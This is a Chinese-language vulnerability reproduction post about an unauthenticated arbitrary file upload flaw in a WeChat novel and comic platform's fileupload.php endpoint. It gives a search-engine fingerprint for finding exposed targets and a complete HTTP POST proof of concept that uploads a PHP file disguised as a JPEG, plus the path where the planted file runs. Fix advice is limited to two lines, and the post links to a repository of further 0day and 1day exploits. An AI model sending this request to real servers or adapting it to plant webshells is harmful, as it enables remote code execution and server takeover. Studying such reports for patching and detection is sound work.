【漏洞复现】微信公众号小说漫画系统 fileupload.php 任意文件上传

》》》产品描述《《《

        微信公众号小说漫画系统包含前端界面、后端逻辑、数据库设计以及其他必要的功能模块，能够支持多终端访问，如微信小程序、H5网页、微信公众号以及原生APP等。系统内置了丰富的小说和漫画资源，涵盖各类题材和风格，满足不同用户的阅读需求。同时，它还支持作者入驻和作品上传，有助于促进内容生态的繁荣。

---

》》》漏洞描述《《《

        微信公众号小说漫画系统 fileupload.php 接口存在任意文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

---

》》》搜索语句《《《

body="/Public/home/mhjs/jquery.js"

---

》》》漏洞复现《《《

POC

POST /Public/webuploader/0.1.5/server/fileupload.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
 
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="file"; filename="info.php"
Content-Type: image/jpeg
 
<?php phpinfo();unlink(__FILE__);?>
------WebKitFormBoundaryj7OlOPiiukkdktZR

验证地址

/Public/webuploader/0.1.5/server/upload/info.php

---

》》》修复建议《《《

关闭互联网暴露面或接口设置访问权限
升级至安全版本

---

-------------------------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------------------------

更多最新0day/1day POC&EXP移步----->Kelichen1113/POC-EXP (github.com)

-------------------------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------------------------